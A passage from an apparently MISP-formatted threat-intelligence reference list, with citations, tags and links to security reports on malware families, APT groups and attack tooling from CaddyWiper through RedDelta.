ESET. (2022, March 15). CaddyWiper: New wiper malware discovered in Ukraine. Retrieved March 23, 2022.

The tag is: *misp-galaxy:references="ESET CaddyWiper March 2022"*

Table 19779. Table References

Links
https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine

Cadet Blizzard emerges as novel threat actor

Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.

The tag is: *misp-galaxy:references="Cadet Blizzard emerges as novel threat actor"*

Table 19780. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/

Cado Denonia April 3 2022

jbowen. (2022, April 3). Cado Discovers Denonia: The First Malware Specifically Targeting Lambda. Retrieved April 11, 2024.

The tag is: *misp-galaxy:references="Cado Denonia April 3 2022"*

Table 19781. Table References

Links
https://www.cadosecurity.com/blog/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda

Cado Security Denonia

Matt Muir. (2022, April 6). Cado Discovers Denonia: The First Malware Specifically Targeting Lambda. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Cado Security Denonia"*

Table 19782. Table References

Links
https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/

Caesars Scattered Spider September 13 2023

William Turton. (2023, September 13). Caesars Entertainment Paid Millions to Hackers in Attack. Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="Caesars Scattered Spider September 13 2023"*

Table 19783. Table References

Links
https://www.bloomberg.com/news/articles/2023-09-13/caesars-entertainment-paid-millions-in-ransom-in-recent-attack

Sekoia Calisto December 5 2022

Felix Aimé, Maxime A., Sekoia TDR. (2022, December 5). Calisto show interests into entities involved in Ukraine war support. Retrieved October 1, 2024.

The tag is: *misp-galaxy:references="Sekoia Calisto December 5 2022"*

Table 19784. Table References

Links
https://blog.sekoia.io/calisto-show-interests-into-entities-involved-in-ukraine-war-support/

Securelist Calisto July 2018

Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.

The tag is: *misp-galaxy:references="Securelist Calisto July 2018"*

Table 19785. Table References

Links
https://securelist.com/calisto-trojan-for-macos/86543/

CERTFR-2023-CTI-009

CERT-FR. (2023, October 26). Campagnes d’attaques du mode opératoire APT28 depuis 2021. Retrieved October 26, 2023.

The tag is: *misp-galaxy:references="CERTFR-2023-CTI-009"*

Table 19786. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-009.pdf

FSI Andariel Campaign Rifle July 2017

FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="FSI Andariel Campaign Rifle July 2017"*

Table 19787. Table References

Links
https://fsiceat.tistory.com/2

TinyPilot Detection

TinyPilot. (n.d.). Can anyone detect when I'm using TinyPilot?. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="TinyPilot Detection"*

Table 19788. Table References

Links
https://tinypilotkvm.com/faq/target-detect-tinypilot/

Check Point Research January 5 2022

Check Point Research. (2022, January 5). Can You Trust a File's Digital Signature? New Zloader Campaign Exploits Microsoft's Signature Verification Putting Users at Risk. Retrieved May 11, 2023.

The tag is: *misp-galaxy:references="Check Point Research January 5 2022"*

Table 19789. Table References

Links
https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/

Polak NPPSPY 2004

Sergey Polak. (2004, August). Capturing Windows Passwords using the Network Provider API. Retrieved May 17, 2024.

The tag is: *misp-galaxy:references="Polak NPPSPY 2004"*

Table 19790. Table References

Links
https://www.blackhat.com/presentations/win-usa-04/bh-win-04-polak/bh-win-04-polak2.pdf

KasperskyCarbanak

Kaspersky Lab's Global Research & Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 27, 2017.

The tag is: *misp-galaxy:references="KasperskyCarbanak"*

Table 19791. Table References

Links
https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/

Kaspersky Carbanak

Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.

The tag is: *misp-galaxy:references="Kaspersky Carbanak"*

Table 19792. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf

Forcepoint Carbanak Google C2

Griffin, N. (2017, January 17). CARBANAK GROUP USES GOOGLE FOR MALWARE COMMAND-AND-CONTROL. Retrieved February 15, 2017.

The tag is: *misp-galaxy:references="Forcepoint Carbanak Google C2"*

Table 19793. Table References

Links
https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command-and-control

Trend Micro Carberp February 2014

Trend Micro. (2014, February 27). CARBERP. Retrieved July 29, 2020.

The tag is: *misp-galaxy:references="Trend Micro Carberp February 2014"*

Table 19794. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/carberp

Prevx Carberp March 2011

Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Prevx Carberp March 2011"*

Table 19795. Table References

Links
https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf

Trusteer Carberp October 2010

Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020.

The tag is: *misp-galaxy:references="Trusteer Carberp October 2010"*

Table 19796. Table References

Links
https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf

ESET Carbon Mar 2017

ESET. (2017, March 30). Carbon Paper: Peering into Turla's second stage backdoor. Retrieved November 7, 2018.

The tag is: *misp-galaxy:references="ESET Carbon Mar 2017"*

Table 19797. Table References

Links
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/

CrowdStrike Carbon Spider August 2021

Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="CrowdStrike Carbon Spider August 2021"*

Table 19798. Table References

Links
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/

PaloAlto CardinalRat Apr 2017

Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.

The tag is: *misp-galaxy:references="PaloAlto CardinalRat Apr 2017"*

Table 19799. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/

Carl Hurd March 2019

Carl Hurd. (2019, March 26) VPNFilter Deep Dive. Retrieved March 28, 2019

The tag is: *misp-galaxy:references="Carl Hurd March 2019"*

Table 19800. Table References

Links
https://www.youtube.com/watch?v=yuZazP22rpI

ESET Casbaneiro Oct 2019

ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="ESET Casbaneiro Oct 2019"*

Table 19801. Table References

Links
https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/

Microsoft Catalog Files and Signatures April 2017

Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.

The tag is: *misp-galaxy:references="Microsoft Catalog Files and Signatures April 2017"*

Table 19802. Table References

Links
https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files

Catch All Chrome Extension

Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.

The tag is: *misp-galaxy:references="Catch All Chrome Extension"*

Table 19803. Table References

Links
https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)

Akamai JS

Katz, O. (2020, October 26). Catch Me if You Can—JavaScript Obfuscation. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="Akamai JS"*

Table 19804. Table References

Links
https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation

Categorisation_not_boundary

MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.

The tag is: *misp-galaxy:references="Categorisation_not_boundary"*

Table 19805. Table References

Links
https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/

CrowdStrike Flying Kitten

Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020.

The tag is: *misp-galaxy:references="CrowdStrike Flying Kitten"*

Table 19806. Table References

Links
https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/

Group-IB Lynx Ransomware January 28 2025

Nikolay Kichatov, Sharmine Low, Pietro Albuquerque. (2025, January 28). Cat's out of the bag: Lynx Ransomware-as-a-Service. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="Group-IB Lynx Ransomware January 28 2025"*

Table 19807. Table References

Links
https://www.group-ib.com/blog/cat-s-out-of-the-bag-lynx-ransomware/

Wikimedia Foundation Inc. May 3 2003

Wikimedia Foundation Inc.. (2003, May 3). cat (Unix) - Wikipedia. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Wikimedia Foundation Inc. May 3 2003"*

Table 19808. Table References

Links
https://en.wikipedia.org/wiki/Cat_(Unix)

Telephone Attack Delivery

Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.

The tag is: *misp-galaxy:references="Telephone Attack Delivery"*

Table 19809. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery

Tetra Defense Sodinokibi March 2020

Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Tetra Defense Sodinokibi March 2020"*

Table 19810. Table References

Links
https://web.archive.org/web/20210414101816/https://tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis/

CarbonBlack RobbinHood May 2019

Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.

The tag is: *misp-galaxy:references="CarbonBlack RobbinHood May 2019"*

Table 19811. Table References

Links
https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/

Talos CCleanup 2017

Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.

The tag is: *misp-galaxy:references="Talos CCleanup 2017"*

Table 19812. Table References

Links
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html

Cdb.exe - LOLBAS Project

LOLBAS. (2018, May 25). Cdb.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Cdb.exe - LOLBAS Project"*

Table 19813. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/

Slowik Sandworm 2021

Joseph Slowik, DomainTools. (2021, March 3). Centreon to Exim and Back: On the Trail of Sandworm. Retrieved April 6, 2024.

The tag is: *misp-galaxy:references="Slowik Sandworm 2021"*

Table 19814. Table References

Links
https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm/

ESET PLEAD Malware July 2018

Cherepanov, A.. (2018, July 9). Certificates stolen from Taiwanese tech-companies misused in Plead malware campaign. Retrieved May 6, 2020.

The tag is: *misp-galaxy:references="ESET PLEAD Malware July 2018"*

Table 19815. Table References

Links
https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/

Medium Certified Pre Owned

Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022.

The tag is: *misp-galaxy:references="Medium Certified Pre Owned"*

Table 19816. Table References

Links
https://posts.specterops.io/certified-pre-owned-d95910965cd2

SpecterOps Certified Pre Owned

Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.

The tag is: *misp-galaxy:references="SpecterOps Certified Pre Owned"*

Table 19817. Table References

Links
https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf

GitHub Certify

HarmJ0y et al. (2021, June 9). Certify. Retrieved August 4, 2022.

The tag is: *misp-galaxy:references="GitHub Certify"*

Table 19818. Table References

Links
https://github.com/GhostPack/Certify/

CertOC.exe - LOLBAS Project

LOLBAS. (2021, October 7). CertOC.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="CertOC.exe - LOLBAS Project"*

Table 19819. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Certoc/

CertReq.exe - LOLBAS Project

LOLBAS. (2020, July 7). CertReq.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="CertReq.exe - LOLBAS Project"*

Table 19820. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Certreq/

GitHub CertStealer

TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022.

The tag is: *misp-galaxy:references="GitHub CertStealer"*

Table 19821. Table References

Links
https://github.com/TheWover/CertStealer

TechNet Certutil

Microsoft. (2012, November 14). Certutil. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="TechNet Certutil"*

Table 19822. Table References

Links
https://technet.microsoft.com/library/cc732443.aspx

LOLBAS Certutil

LOLBAS. (n.d.). Certutil.exe. Retrieved July 31, 2019.

The tag is: *misp-galaxy:references="LOLBAS Certutil"*

Table 19823. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Certutil/

FireEye CFR Watering Hole 2012

Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye CFR Watering Hole 2012"*

Table 19824. Table References

Links
https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html

Twitter Cglyer Status Update APT3 eml

Glyer, C. (2018, April 14). @cglyer Status Update. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter Cglyer Status Update APT3 eml"*

Table 19825. Table References

Links
https://x.com/cglyer/status/985311489782374400

Cybereason Chaes Nov 2020

Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.

The tag is: *misp-galaxy:references="Cybereason Chaes Nov 2020"*

Table 19826. Table References

Links
https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf

Symantec Chafer February 2018

Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.

The tag is: *misp-galaxy:references="Symantec Chafer February 2018"*

Table 19827. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions

Securelist Remexi Jan 2019

Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="Securelist Remexi Jan 2019"*

Table 19828. Table References

Links
https://securelist.com/chafer-used-remexi-malware/89538/

change_rdp_port_conti

The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="change_rdp_port_conti"*

Table 19829. Table References

Links
https://x.com/TheDFIRReport/status/1498657772254240768

Microsoft Change Normal Template

Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="Microsoft Change Normal Template"*

Table 19830. Table References

Links
https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea

Microsoft Change Default Programs

Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.

The tag is: *misp-galaxy:references="Microsoft Change Default Programs"*

Table 19831. Table References

Links
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs

Chaos Stolen Backdoor

Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.

The tag is: *misp-galaxy:references="Chaos Stolen Backdoor"*

Table 19832. Table References

Links
http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/

Wardle Persistence Chapter

Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.

The tag is: *misp-galaxy:references="Wardle Persistence Chapter"*

Table 19833. Table References

Links
https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf

cisco_deploy_rsa_keys

Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.

The tag is: *misp-galaxy:references="cisco_deploy_rsa_keys"*

Table 19834. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436

Wikipedia Character Encoding

Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="Wikipedia Character Encoding"*

Table 19835. Table References

Links
https://en.wikipedia.org/wiki/Character_encoding

DOJ GRU Charges 2018

U.S. Department of Justice. (2018, October 4). U.S. Charges Russian GRU Officers with International Hacking and Related Influence and Disinformation Operations. Retrieved February 25, 2025.

The tag is: *misp-galaxy:references="DOJ GRU Charges 2018"*

Table 19836. Table References

Links
https://www.justice.gov/archives/opa/pr/us-charges-russian-gru-officers-international-hacking-and-related-influence-and

Charles Carmakal LinkedIn December 19 2024

Charles Carmakal. (2024, December 19). Charles Carmakal LinkedIn December 19 2024. Retrieved December 23, 2024.

The tag is: *misp-galaxy:references="Charles Carmakal LinkedIn December 19 2024"*

Table 19837. Table References

Links
https://www.linkedin.com/feed/update/urn:li:activity:7275175889959542784/

ClearSky Charming Kitten Dec 2017

ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.

The tag is: *misp-galaxy:references="ClearSky Charming Kitten Dec 2017"*

Table 19838. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf

Certfa Charming Kitten January 2021

Certfa Labs. (2021, January 8). Charming Kitten's Christmas Gift. Retrieved May 3, 2021.

The tag is: *misp-galaxy:references="Certfa Charming Kitten January 2021"*

Table 19839. Table References

Links
https://blog.certfa.com/posts/charming-kitten-christmas-gift/

Proofpoint TA2541 February 2022

Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.

The tag is: *misp-galaxy:references="Proofpoint TA2541 February 2022"*

Table 19840. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight

JPCERT ChChes Feb 2017

Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="JPCERT ChChes Feb 2017"*

Table 19841. Table References

Links
https://blogs.jpcert.or.jp/en/2017/02/chches-malware—93d6.html

Check Point Iranian Proxies December 4 2023

Check Point Research. (2023, December 4). Check Point Research Report: Iranian Hacktivist Proxies Escalate Activities Beyond Israel. Retrieved August 8, 2024.

The tag is: *misp-galaxy:references="Check Point Iranian Proxies December 4 2023"*

Table 19842. Table References

Links
https://blog.checkpoint.com/research/check-point-research-report-shift-in-cyber-warfare-tactics-iranian-hacktivist-proxies-extend-activities-beyond-israel/

EclecticLightChecksonEXECodeSigning

Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.

The tag is: *misp-galaxy:references="EclecticLightChecksonEXECodeSigning"*

Table 19843. Table References

Links
https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/

Mandiant Pulse Secure Zero-Day April 2021

Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.

The tag is: *misp-galaxy:references="Mandiant Pulse Secure Zero-Day April 2021"*

Table 19844. Table References

Links
https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day

Anomali MUSTANG PANDA October 2019

Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021.

The tag is: *misp-galaxy:references="Anomali MUSTANG PANDA October 2019"*

Table 19845. Table References

Links
https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations

FireEye admin@338

FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.

The tag is: *misp-galaxy:references="FireEye admin@338"*

Table 19846. Table References

Links

https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

IronNet BlackTech Oct 2021

Demboski, M., et al. (2021, October 26). China cyber attacks: the current threat landscape. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="IronNet BlackTech Oct 2021"*

Table 19847. Table References

Links
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape

RecordedFuture RedEcho 2021

Recorded Future Insikt Group. (2021, February). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved November 21, 2024.

The tag is: *misp-galaxy:references="RecordedFuture RedEcho 2021"*

Table 19848. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf

Recorded Future RedEcho Feb 2021

Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021.

The tag is: *misp-galaxy:references="Recorded Future RedEcho Feb 2021"*

Table 19849. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf

WSJ Salt Typhoon September 26 2024

Sarah Krouse, Robert McMillan, Dustin Volz. (2024, September 26). China-Linked Hackers Breach U.S. Internet Providers in New ‘Salt Typhoon’ Cyberattack. Retrieved October 24, 2024.

The tag is: *misp-galaxy:references="WSJ Salt Typhoon September 26 2024"*

Table 19850. Table References

Links

https://www.wsj.com/politics/national-security/china-cyberattack-internet-providers-260bd835

EclecticIQ CVE-2025-31324 May 13 2025

Arda Büyükkaya. (2025, May 13). China-Nexus Nation State Actors Exploit SAP NetWeaver (CVE-2025-31324) to Target Critical Infrastructures. Retrieved June 2, 2025.

The tag is: *misp-galaxy:references="EclecticIQ CVE-2025-31324 May 13 2025"*

Table 19851. Table References

Links
https://blog.eclecticiq.com/china-nexus-nation-state-actors-exploit-sap-netweaver-cve-2025-31324-to-target-critical-infrastructures

Sygnia VelvetAnt 2024A

Sygnia Team. (2024, June 3). China-Nexus Threat Group 'Velvet Ant' Abuses F5 Load Balancers for Persistence. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="Sygnia VelvetAnt 2024A"*

Table 19852. Table References

Links
https://www.sygnia.co/blog/china-nexus-threat-group-velvet-ant/

Sygnia VelvetAnt 2024B

Sygnia Team. (2024, July 1). China-Nexus Threat Group 'Velvet Ant' Exploits Cisco Zero-Day (CVE-2024-20399) to Compromise Nexus Switch Devices – Advisory for Mitigation and Response. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="Sygnia VelvetAnt 2024B"*

Table 19853. Table References

Links
https://www.sygnia.co/threat-reports-and-advisories/china-nexus-threat-group-velvet-ant-exploits-cisco-0-day/

Sygnia Velvet Ant June 17 2024

Sygnia Team. (2024, June 17). China-Nexus Threat Group 'Velvet Ant' Abuses F5 Load Balancers for Persistence. Retrieved June 20, 2024.

The tag is: *misp-galaxy:references="Sygnia Velvet Ant June 17 2024"*

Table 19854. Table References

Links
https://www.sygnia.co/blog/china-nexus-threat-group-velvet-ant/

Sygnia Velvet Ant July 1 2024

Sygnia. (2024, July 1). China-Nexus Threat Group 'Velvet Ant' Exploits Cisco Zero-Day (CVE-2024-20399) to Compromise Nexus Switch Devices. Retrieved July 3, 2024.

The tag is: *misp-galaxy:references="Sygnia Velvet Ant July 1 2024"*

Table 19855. Table References

Links
https://www.sygnia.co/threat-reports-and-advisories/china-nexus-threat-group-velvet-ant-exploits-cisco-0-day/

EFF China GitHub Attack

Budington, B. (2015, April 2). China Uses Unencrypted Websites to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023.

The tag is: *misp-galaxy:references="EFF China GitHub Attack"*

Table 19856. Table References

Links
https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack

PaloAlto 3102 Sept 2015

Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use '3102' Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.

The tag is: *misp-galaxy:references="PaloAlto 3102 Sept 2015"*

Table 19857. Table References

Links
https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/

Unit 42 September 6 2024

Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved September 6, 2024.

The tag is: *misp-galaxy:references="Unit 42 September 6 2024"*

Table 19858. Table References

Links
https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

Unit42 Chinese VSCode 06 September 2024

Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Unit42 Chinese VSCode 06 September 2024"*

Table 19859. Table References

Links
https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

ZScaler Hacking Team

Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.

The tag is: *misp-galaxy:references="ZScaler Hacking Team"*

Table 19860. Table References

Links
http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html

Hacker News LuckyMouse June 2018

Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.

The tag is: *misp-galaxy:references="Hacker News LuckyMouse June 2018"*

Table 19861. Table References

Links
https://thehackernews.com/2018/06/chinese-watering-hole-attack.html

The Hacker News Velvet Ant Cisco July 2 2024

Newsroom. (2024, July 2). Chinese Hackers Exploiting Cisco Switches Zero-Day to Deliver Malware. Retrieved July 3, 2024.

The tag is: *misp-galaxy:references="The Hacker News Velvet Ant Cisco July 2 2024"*

Table 19862. Table References

Links
https://thehackernews.com/2024/07/chinese-hackers-exploiting-cisco.html

BleepingComputer Mustang Panda September 9 2024

Bill Toulas. (2024, September 9). Chinese hackers use new data theft malware in govt attacks. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="BleepingComputer Mustang Panda September 9 2024"*

Table 19863. Table References

Links
https://www.bleepingcomputer.com/news/security/chinese-hackers-use-new-data-theft-malware-in-govt-attacks/

The Record APT31 Router Hacks

Catalin Cimpanu. (2021, July 20). Chinese hacking group APT31 uses mesh of home routers to disguise attacks. Retrieved April 25, 2024.

The tag is: *misp-galaxy:references="The Record APT31 Router Hacks"*

Table 19864. Table References

Links
https://therecord.media/chinese-hacking-group-apt31-uses-mesh-of-home-routers-to-disguise-attacks

ORB APT31

Cimpanu, Catalin. (2021, July 20). Chinese hacking group APT31 uses mesh of home routers to disguise attacks. Retrieved July 8, 2024.

The tag is: *misp-galaxy:references="ORB APT31"*

Table 19865. Table References

Links
https://therecord.media/chinese-hacking-group-apt31-uses-mesh-of-home-routers-to-disguise-attacks

Dark Reading Codoso Feb 2015

Chickowski, E. (2015, February 10). Chinese Hacking Group Codoso Team Uses Forbes.com As Watering Hole. Retrieved September 13, 2018.

The tag is: *misp-galaxy:references="Dark Reading Codoso Feb 2015"*

Table 19866. Table References

Links
https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059

DarkReading Treasury Breach December 30 2024

Becky Bracken. (2024, December 30). Chinese State Hackers Breach US Treasury Department. Retrieved January 6, 2024.

The tag is: *misp-galaxy:references="DarkReading Treasury Breach December 30 2024"*

Table 19867. Table References

Links
https://www.darkreading.com/cyberattacks-data-breaches/chinese-state-hackers-breach-us-treasury-department

Recorded Future TAG-22 July 2021

INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="Recorded Future TAG-22 July 2021"*

Table 19868. Table References

Links
https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan

Recorded Future Chinese Activity in Southeast Asia December 2021

Insikt Group. (2021, December 8). Chinese State-Sponsored Cyber Espionage Activity Supports Expansion of Regional Power and Influence in Southeast Asia. Retrieved September 19, 2022.

The tag is: *misp-galaxy:references="Recorded Future Chinese Activity in Southeast Asia December 2021"*

Table 19869. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf

Recorded Future REDDELTA July 2020

Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP 'REDDELTA' TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021.

The tag is: *misp-galaxy:references="Recorded Future REDDELTA July 2020"*

Table 19870. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf

Recorded Future RedDelta 2025

